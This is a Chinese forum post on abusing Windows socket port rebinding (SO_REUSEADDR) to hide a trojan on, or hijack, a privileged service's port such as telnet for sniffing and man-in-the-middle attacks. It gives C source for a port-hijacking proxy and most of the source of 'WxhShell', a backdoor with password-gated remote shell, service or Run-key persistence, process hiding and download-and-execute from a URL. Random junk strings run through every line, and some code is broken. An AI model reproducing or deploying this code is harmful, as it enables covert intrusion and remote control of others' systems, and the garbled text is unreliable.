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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Fm5Q&'`l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T pD;  
*{|$FQnR>(  
  saddr.sin_family = AF_INET; oqYt/4^Q  
`7\H41%\pp  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A? r^V2+j  
'g hys1H  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); VX!hv`E  
:BD>yOlG  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /tZ0 |B(  
5z Kqb  
  这意味着什么?意味着可以进行如下的攻击: ]Jn2Ra"j  
JD*8@N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 03_pwB)^  
mf9hFy* <4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Mg\TH./Y:  
*VDVC0R  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iZ "y7s  
iD714+N(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]-bQNYKX  
(;ADW+.`J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M)O [j}N  
96}eR,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1qZG`Vz  
>pdnCv_c  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hl]S'yr  
!}t-j3bCs  
  #include =?/&u<  
  #include ISBF\ wQY  
  #include (:7a&2/M  
  #include    ]]PE#DDg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   S3y246|4  
  int main() ]2$x| #Gg}  
  { O|e}   
  WORD wVersionRequested; #c:kCZt#  
  DWORD ret; E-SG8U;  
  WSADATA wsaData; 8wmQ4){  
  BOOL val; b 4OnZ;FI  
  SOCKADDR_IN saddr; ^{[[Z.&R?  
  SOCKADDR_IN scaddr; ,hvc``j S8  
  int err; aq$q ~,E  
  SOCKET s; ,Xtj;@~-  
  SOCKET sc; KUKI qAA  
  int caddsize; J>h;_jA  
  HANDLE mt; EEwWucQ  
  DWORD tid;   c1#+Vse  
  wVersionRequested = MAKEWORD( 2, 2 ); 7n&yv9"  
  err = WSAStartup( wVersionRequested, &wsaData ); p+Lv=e)0u  
  if ( err != 0 ) { 2*'ciH37  
  printf("error!WSAStartup failed!\n"); ]0-<>  
  return -1; 4Jykos2  
  } zJC EA  
  saddr.sin_family = AF_INET;  KGT3|)QN  
   `eD1|Go9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T8Na]V5  
6$RpV'xz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &F6C  
  saddr.sin_port = htons(23); K*+6`z#fMF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +|&0fGv;d9  
  { Hi8Y6|y$D  
  printf("error!socket failed!\n"); vyU!+mlc  
  return -1; N|Habua<Xw  
  } DFy1 bg  
  val = TRUE; &,MFB  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m\-PU z&C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s)w9%  
  { moG~S]  
  printf("error!setsockopt failed!\n"); !\x?R6K  
  return -1; "~\*If  
  } m&/=&S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~kb{K;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PeNF+5s/K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _ECB^s_  
R=$Ls6z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OZOb1D  
  { [r9d<Zi}{  
  ret=GetLastError(); nzuF]vo  
  printf("error!bind failed!\n"); T*+A.G@L"  
  return -1; eY}V9*.v  
  } ch })ivFP[  
  listen(s,2); >nM%p4E  
  while(1) UA(;fZ@  
  { 28UVDG1?  
  caddsize = sizeof(scaddr); A*i_|]Q  
  //接受连接请求 S^j,f'2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jQ$BPEG&X  
  if(sc!=INVALID_SOCKET) zP nC=h|g  
  { vgThK9{m;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hSMV&Cs  
  if(mt==NULL) P {H{UKs#  
  { Le@? /  
  printf("Thread Creat Failed!\n"); sfI N)jh  
  break; . \F7tc8?  
  } '9q6aM/&  
  } [cpNiw4e  
  CloseHandle(mt); } 0{B  
  } ~gddcTp  
  closesocket(s); 'n4u-pM(nB  
  WSACleanup(); I7G,`h+H  
  return 0; Ekjf^Uo  
  }   _B$"e[:yX  
  DWORD WINAPI ClientThread(LPVOID lpParam) % wL,v.}  
  { . #U}q 7X  
  SOCKET ss = (SOCKET)lpParam; 0p3vE,pF  
  SOCKET sc; MZ~.(&  
  unsigned char buf[4096]; M[s\E4l:t  
  SOCKADDR_IN saddr; d+5:Qrr  
  long num; zH=hI Vc  
  DWORD val; Dl A Z"C  
  DWORD ret; #ZTLrq5b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _]o5R7[MQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t.U{Bu P  
  saddr.sin_family = AF_INET; Pz`hX$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \]8i}E1  
  saddr.sin_port = htons(23); /^ 4"Qv\@/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VQ<5%+  
  { VGZ6  
  printf("error!socket failed!\n"); qd(hQsfqYU  
  return -1; |M E{gy`5  
  }  yekRwo|  
  val = 100; ]>8)|]O6n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dtTlIhh1V  
  { ~6d5zI4\  
  ret = GetLastError(); 3cThu43c  
  return -1; .Dx2 ;lj  
  } !<r8~A3!(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [H^ X"D  
  { _}ele+  
  ret = GetLastError(); {D,RU8&  
  return -1; l%<c6;  
  } E}$V2ha0zu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z,aGtJ.a'9  
  { %U?)?iZdL  
  printf("error!socket connect failed!\n"); 7\%$>< K  
  closesocket(sc); |-61(X.  
  closesocket(ss); %nQmFIt  
  return -1; O<X )p`,`  
  } 38wq (  
  while(1) sX'nn   
  { *#h;c1aP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]^ 'ZiyJX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q52 bh'cuU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kzi|$Gs<  
  num = recv(ss,buf,4096,0); zlkWU  
  if(num>0) -*3(a E  
  send(sc,buf,num,0); \EI#az=I  
  else if(num==0) "L@g3g?|`  
  break; =4>@8=JA  
  num = recv(sc,buf,4096,0); OX3Xy7  
  if(num>0) qZbHMTnT6  
  send(ss,buf,num,0); e5OVq ,  
  else if(num==0) *"T+G*~  
  break; {US>)I  
  } 0jTMZ<&zZ  
  closesocket(ss); j_c+.iET  
  closesocket(sc); `M]BhW)  
  return 0 ; vgAFuQi(  
  } 5/(sjMB  
a_%>CD${t  
B5`;MQJ  
========================================================== Yxq j -   
!I7?  
下边附上一个代码,,WXhSHELL %zflx~  
OG}KqG!n  
========================================================== ?O7iK<5N  
@_Sp3nWdu  
#include "stdafx.h" (9'be\  
Yb9cW\lr  
#include <stdio.h> Z s73 ad  
#include <string.h> w4A#>;Qu*  
#include <windows.h> rKIRNc#d  
#include <winsock2.h> 24X=5Aj  
#include <winsvc.h> XtzOFx/  
#include <urlmon.h> yHOqzq56  
-TZ^~s  
#pragma comment (lib, "Ws2_32.lib") "XB4yExy  
#pragma comment (lib, "urlmon.lib") mu>] 9ZW  
UR,?!rJ^B  
#define MAX_USER   100 // 最大客户端连接数 iAHZ0Du  
#define BUF_SOCK   200 // sock buffer 2@ *<9-9  
#define KEY_BUFF   255 // 输入 buffer Tzf$*Uje3  
8_ X.c  
#define REBOOT     0   // 重启 xT=ySa$|>  
#define SHUTDOWN   1   // 关机 nl9kYE [  
c(&AnIlS  
#define DEF_PORT   5000 // 监听端口 rkIMM,   
|0]YA  
#define REG_LEN     16   // 注册表键长度 dk:xnX%  
#define SVC_LEN     80   // NT服务名长度 rXDJ:NP  
@ExLh9  
// 从dll定义API zzE]M}s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5"uNj<.V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y($EK(cb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3P`WPph  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G<fS (q  
6VFirLd  
// wxhshell配置信息 tNB%eb{  
struct WSCFG { Y{j7Q4{  
  int ws_port;         // 监听端口 xD^wTtT  
  char ws_passstr[REG_LEN]; // 口令 E4Zxv*  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?sE@]]z  
  char ws_regname[REG_LEN]; // 注册表键名 {83C,C-  
  char ws_svcname[REG_LEN]; // 服务名 O!,Ca1N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UQnBqkE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jm+ blB^%K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Bs@:rhDi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8W@dtZ,d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yWmrdvL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9BO|1{  
,3k@L\$.x  
}; 0}D-KvjyP  
HoL~j({  
// default Wxhshell configuration y:C)%cv}*  
struct WSCFG wscfg={DEF_PORT, L9$&-A9ix  
    "xuhuanlingzhe", $)f"K  
    1, i0b.AA  
    "Wxhshell", \#2 s4RCji  
    "Wxhshell", [\a:4vDAbi  
            "WxhShell Service", ^8Z@^M&O"  
    "Wrsky Windows CmdShell Service", ]2PQ X4t 0  
    "Please Input Your Password: ", eX@ v7i,}  
  1, "&Gw1.p  
  "http://www.wrsky.com/wxhshell.exe", A`IHP{aB  
  "Wxhshell.exe" R~$hWu}}  
    }; &M$Bt} <  
yYM_lobn  
// 消息定义模块 r(]98a]o~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _tA7=*@8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %6N)G!P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S7Znz@  
char *msg_ws_ext="\n\rExit."; blUY.{NN3  
char *msg_ws_end="\n\rQuit."; l\_x(BH  
char *msg_ws_boot="\n\rReboot..."; m^'~&!ba  
char *msg_ws_poff="\n\rShutdown..."; o:H'r7N  
char *msg_ws_down="\n\rSave to "; 5 >'66gZ  
]I8]mUiUH  
char *msg_ws_err="\n\rErr!"; NtqFnxm/  
char *msg_ws_ok="\n\rOK!"; 9@Q&B+!  
1*L^^% w  
char ExeFile[MAX_PATH]; 3`x sK[  
int nUser = 0; D$QGLI9(  
HANDLE handles[MAX_USER]; 3Fgz)*Gu]  
int OsIsNt; '!AT  
Etw~*  
SERVICE_STATUS       serviceStatus; [A|(A$jl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4`$5 _} j!  
O/(3 87=U  
// 函数声明 Shs')Zs bv  
int Install(void); nT#37v  
int Uninstall(void); &yB%QX{3  
int DownloadFile(char *sURL, SOCKET wsh); =,O /,2)  
int Boot(int flag); )dqR<)  
void HideProc(void); 7:z>+AM[r  
int GetOsVer(void); (x}A_ i  
int Wxhshell(SOCKET wsl); .l7j8 }  
void TalkWithClient(void *cs); d3og?{i<}&  
int CmdShell(SOCKET sock); A 0 S8Dh$  
int StartFromService(void); 8~;{xYN )  
int StartWxhshell(LPSTR lpCmdLine); AjG)1  
7,f:Qi@g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PBCb0[\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YXgWH'i~  
tc"T}huypU  
// 数据结构和表定义 =Y/}b\9`T  
SERVICE_TABLE_ENTRY DispatchTable[] = q)NXyy4BT  
{ DQ%`v =  
{wscfg.ws_svcname, NTServiceMain}, c!.=%QY  
{NULL, NULL} l +|1G  
}; cW=Qh-`jU;  
MST:.x ;  
// 自我安装 h|K\z{ A  
int Install(void) vz- 9<w;>a  
{ yq1Gqbh l  
  char svExeFile[MAX_PATH]; qI(W$  
  HKEY key; *+NGi(N  
  strcpy(svExeFile,ExeFile); eR7qE) h  
AbL5 !'  
// 如果是win9x系统,修改注册表设为自启动 m\_+)eI|  
if(!OsIsNt) { L7X7Zt8%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3(MoXA*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >ze>Xr'm5=  
  RegCloseKey(key); BHEs+ e0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xT:qe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;& RUE  
  RegCloseKey(key); pi|\0lH6W  
  return 0; iKohuZr  
    } ]U_5\$  
  } b*cW<vX}~  
} :b.3CL\.6  
else { a:=q8Qy  
TihnSb  
// 如果是NT以上系统,安装为系统服务 |Uc <;> l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X";TZk  
if (schSCManager!=0) _2wAaJvA  
{ joxS+P5#  
  SC_HANDLE schService = CreateService ]^Sd9ba  
  ( th5 X?so  
  schSCManager, C_6GOpl  
  wscfg.ws_svcname, cR,'o'V/  
  wscfg.ws_svcdisp, $Vo/CZW7  
  SERVICE_ALL_ACCESS, 8FAT(f//.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^!q 08`0  
  SERVICE_AUTO_START, eVJ= .?r  
  SERVICE_ERROR_NORMAL, NKRaQ r  
  svExeFile, X'YfjbGo  
  NULL, qsD?dHi7  
  NULL, wYZy e^7  
  NULL, W/b"a?wE{  
  NULL, s.f`.o  
  NULL d&/^34gn  
  ); >_rzT9gX&  
  if (schService!=0) ` 52% XI  
  { =9kj? u~  
  CloseServiceHandle(schService); ]\[m=0K  
  CloseServiceHandle(schSCManager);  -0{T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d1UVvyH  
  strcat(svExeFile,wscfg.ws_svcname); P h9Hg'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { or?0PEx\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t8L<x  
  RegCloseKey(key); KDux$V4  
  return 0; += X).X0K  
    } v]B0!k&4.  
  } ~sZqa+jB0  
  CloseServiceHandle(schSCManager); `6 |i&w:b  
} D."cQ<sxpN  
} _{N0OX  
T+`xr0  
return 1; (J6" ;  
} W Atg  
j9{O0[v  
// 自我卸载 6Hc H'nmeN  
int Uninstall(void) H+S~ bzz  
{ Ly#h|)  
  HKEY key; ~%olCxfO  
\;nD)<)J  
if(!OsIsNt) { 6H(fk1E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xg|8".B)A  
  RegDeleteValue(key,wscfg.ws_regname); D+bB G  
  RegCloseKey(key); Nr> c'TH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4JX`>a{<  
  RegDeleteValue(key,wscfg.ws_regname); /X(@|tk:  
  RegCloseKey(key); #JK;& Dg!  
  return 0; ;k9 ?  
  } 3r,1^h  
} p:DL:^zx  
} Y}AmX  
else { ap Fs UsE  
Gg 7Wm L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jA20c(O  
if (schSCManager!=0) y0/WA4,  
{ lcu("^{3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FQ ;4'B^k]  
  if (schService!=0) <dju6k7uz  
  { ;cM8EU^.  
  if(DeleteService(schService)!=0) { 1x~%Ydy  
  CloseServiceHandle(schService); kvMk:.  
  CloseServiceHandle(schSCManager); ti$oZ4PpF  
  return 0; Z7tU0  
  } .`oJcJ  
  CloseServiceHandle(schService); b &\3ps  
  } jF%)Bhn(  
  CloseServiceHandle(schSCManager); r Iya\z1W  
} /e-ka{WS  
} zjluX\  
D6&mf2'u  
return 1; pFpQ\xc9$  
} kx"hWG4  
" #mXsp-ut  
// 从指定url下载文件 6F|Hg2tpz  
int DownloadFile(char *sURL, SOCKET wsh) y3 ({(URU  
{ {0NsDi>(2  
  HRESULT hr; {-xi0D/Y;  
char seps[]= "/"; ,!o\),N  
char *token; XM$5S+e  
char *file; m#5|J@]  
char myURL[MAX_PATH]; sD LVYD  
char myFILE[MAX_PATH]; Hmz=/.$  
YtwmlIar`  
strcpy(myURL,sURL); \Dvl%:8   
  token=strtok(myURL,seps); /0 B07B  
  while(token!=NULL) no~OR Q  
  { nx!qCgo  
    file=token; e67c:Z  
  token=strtok(NULL,seps); AijPN  
  } "E@NZ*"u  
VxUvvJ{-v  
GetCurrentDirectory(MAX_PATH,myFILE); uR06&SaA>  
strcat(myFILE, "\\"); )@8'k]Glw.  
strcat(myFILE, file); EIq{C-(  
  send(wsh,myFILE,strlen(myFILE),0); Ze$^UR  
send(wsh,"...",3,0); SQO>}#qm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Bi9 N  
  if(hr==S_OK) { 4_I7r  
return 0; jRv;D#Hp  
else ?~VWW<lR  
return 1; VfL]O8P>  
8Pr&F  
} FbNH+?  
lfU"SSQ  
// 系统电源模块 `l[6rf_.  
int Boot(int flag) G"T;l"TAt8  
{ ,\sR;=svK  
  HANDLE hToken; w6WGFQ_%  
  TOKEN_PRIVILEGES tkp; o 1 hdO  
{#dp-5V  
  if(OsIsNt) { 8k+q7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WL IDw@fv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )1ZJ  
    tkp.PrivilegeCount = 1; W,9k0t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &.cGj @1!J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LW83Y/7  
if(flag==REBOOT) { _/QKWk&j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *([0"  
  return 0; )V[w:=*  
} yiv RpSL  
else { Gx(KN57D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wf~5lpI[  
  return 0; ++J Bbuzj!  
} {<- ouD  
  } Ak\D6eHcB  
  else { < '>d0:>N  
if(flag==REBOOT) { +BtLyQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yBYuDfeZ  
  return 0; )o " SB1  
} N27K  
else { )*^OPVt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >j(I[_g  
  return 0; Q>SPV8s   
} O" X!S_R  
} c"f-$^<  
7(A G]  
return 1; I&'S2=s  
} K^]?@oHO  
Mv7w5vTl  
// win9x进程隐藏模块 FT3,k&i  
void HideProc(void) ~n8Oyr  
{ ^td!g1"<  
jt'Y(u]2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S+_A <p  
  if ( hKernel != NULL ) 0] :*v?  
  { n3HCd- z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d!}jdt5%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MQ9M%>  
    FreeLibrary(hKernel); ,z0~mN  
  } ~L \(/[  
Pq{YZMr  
return; 26('V `N  
} ,{`o/F/  
0btmao-  
// 获取操作系统版本 T0*TTB&b  
int GetOsVer(void)  bbQ 10H  
{ 8M3p\}O  
  OSVERSIONINFO winfo; xvdnEaWe$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;:-2~z~~  
  GetVersionEx(&winfo); A3 Rm 0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %4r!7X|O<  
  return 1; =XRgT1>e  
  else .^9/ 0.g8t  
  return 0; XDrlJvrPL  
} )'K!)?&d  
d 40'3]/{  
// 客户端句柄模块 vZ_DG}n11  
int Wxhshell(SOCKET wsl) W)$|Hm:H  
{ ZaNyNxbp>z  
  SOCKET wsh; 5Re`D|8  
  struct sockaddr_in client; R uFu,H-  
  DWORD myID; U47k5s(J  
%T,\xZ  
  while(nUser<MAX_USER) %`s9yRk9>E  
{ ,h wf  
  int nSize=sizeof(client); ',J%Mv>Yf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -?%{A%'  
  if(wsh==INVALID_SOCKET) return 1; "u,~yxYWl  
5EV8zf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qs8K jG@  
if(handles[nUser]==0) 3*2&Fw!B  
  closesocket(wsh); {Gb)Et]<  
else gk_Xu  
  nUser++; zM8/ s96h  
  } ?^G$;X7B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  a`h$lUb-  
_!CvtUU0Vv  
  return 0; qed!C  
} K&Wv.}=V  
[r/Seg"  
// 关闭 socket `aX}.{.!  
void CloseIt(SOCKET wsh) UQji7K }  
{ zOu$H[  
closesocket(wsh); i*cE  
nUser--; AVevYbucB  
ExitThread(0); 2fL88/'  
} I8-&.RE  
QLpTz"H  
// 客户端请求句柄 d=+Lv<  
void TalkWithClient(void *cs) /bNVgK`L5  
{ L/ICFa.G  
t-<[._:+  
  SOCKET wsh=(SOCKET)cs; 2Z IpzH/8  
  char pwd[SVC_LEN]; 8w@W8(3B  
  char cmd[KEY_BUFF]; u7y7  
char chr[1]; nE "b`  
int i,j; .}hZ7>4-  
NM.f0{:cj  
  while (nUser < MAX_USER) { ^kR^ QL$  
n'ca*E(  
if(wscfg.ws_passstr) { ->"h5h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gU 2c--`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d8BK/b  
  //ZeroMemory(pwd,KEY_BUFF); KJvJUq  
      i=0; -I$txa/"|  
  while(i<SVC_LEN) { q@RY.&mgW  
O,xAu}6f+  
  // 设置超时 ?BWvF]p5/  
  fd_set FdRead; 5@&i:vs5y  
  struct timeval TimeOut; ygy#^  
  FD_ZERO(&FdRead); hk$nlc|$  
  FD_SET(wsh,&FdRead);  9jzLXym  
  TimeOut.tv_sec=8; CyBM4qyH  
  TimeOut.tv_usec=0; 23n8,} H,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); * SON>BSF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Kp=3\)&  
tL4]6u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vM4`u5  
  pwd=chr[0]; kq.R(z+  
  if(chr[0]==0xd || chr[0]==0xa) { F0ivL`  
  pwd=0; k s`  
  break; CR<pB)F?a  
  } )'I<xx'1  
  i++; sxQ,x/O  
    } 7!yF5 +_d  
\3:{LOr%*  
  // 如果是非法用户,关闭 socket `zsk*W1GA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \3Ald.EqtM  
} @XG`D>%k  
+sbacMfq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  [;LPeO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \g[f4xAV  
q2U"k  
while(1) { R^O)fL0_  
LAVt/TcZS|  
  ZeroMemory(cmd,KEY_BUFF); ;eEtdoy  
H2_>Av{m  
      // 自动支持客户端 telnet标准   Zz*mf+  
  j=0; [6gHi.`p'  
  while(j<KEY_BUFF) { %Ja{IWz9L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E,?aBRxy  
  cmd[j]=chr[0]; 8Carg~T@  
  if(chr[0]==0xa || chr[0]==0xd) { fD}]Mi:V  
  cmd[j]=0; <.%8j\j(  
  break; j 8AR#  
  } N{z(|2{A#  
  j++; {|wTZ  
    } ,'{B+CHoS  
te4"+[ $|  
  // 下载文件 x 3co?  
  if(strstr(cmd,"http://")) { _nFvM'`<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J1ro\"  
  if(DownloadFile(cmd,wsh)) 1#_j6 Q2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nz?BLO=  
  else C%o/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KZ/^gR\d  
  } EsxTBg  
  else { ~S{\wL53  
ZC-evy  
    switch(cmd[0]) { Glc4g  
  A(sx5Ynp  
  // 帮助 =xWW+w!r  
  case '?': { dSD}NM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9 v3Nba  
    break; &$Ip$"H  
  } 2<./HH*f  
  // 安装 ;}9Ws6#XQs  
  case 'i': { ^p%+rB.j[  
    if(Install()) jP6G.aiO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tfIBsw.  
    else B-p5;h>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K>JU/(  
    break; kT=|tQ@  
    } 3A/MFQ#2  
  // 卸载 8ewEdnE   
  case 'r': { ZrT|~$*m`  
    if(Uninstall()) <;Z~ vZ]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -ns a3P  
    else  X_S]8Aa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fm~}A4  
    break; mNB ]e5 ;N  
    } %z_b/yG  
  // 显示 wxhshell 所在路径 5*'N Q010  
  case 'p': { 6 FxndR;  
    char svExeFile[MAX_PATH]; KFG^vmrn  
    strcpy(svExeFile,"\n\r"); e7AI&5Eg{  
      strcat(svExeFile,ExeFile); JV{!Ukuyp+  
        send(wsh,svExeFile,strlen(svExeFile),0); t7%Bv+Uo  
    break; JKv4}bv  
    } n&{N't  
  // 重启 R,Uy3N  
  case 'b': { @!HMd{r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w|*G`~l09  
    if(Boot(REBOOT)) T<,tC"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z9c=e46O  
    else { *"L:"i`*$  
    closesocket(wsh); F9%VyQf  
    ExitThread(0); g[)hm`{?  
    } 5W '|qmJ  
    break; WZ-{K"56  
    } Ybiz]1d  
  // 关机 Z+Zh;Ms  
  case 'd': { %cjav  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l_IX+4(@b|  
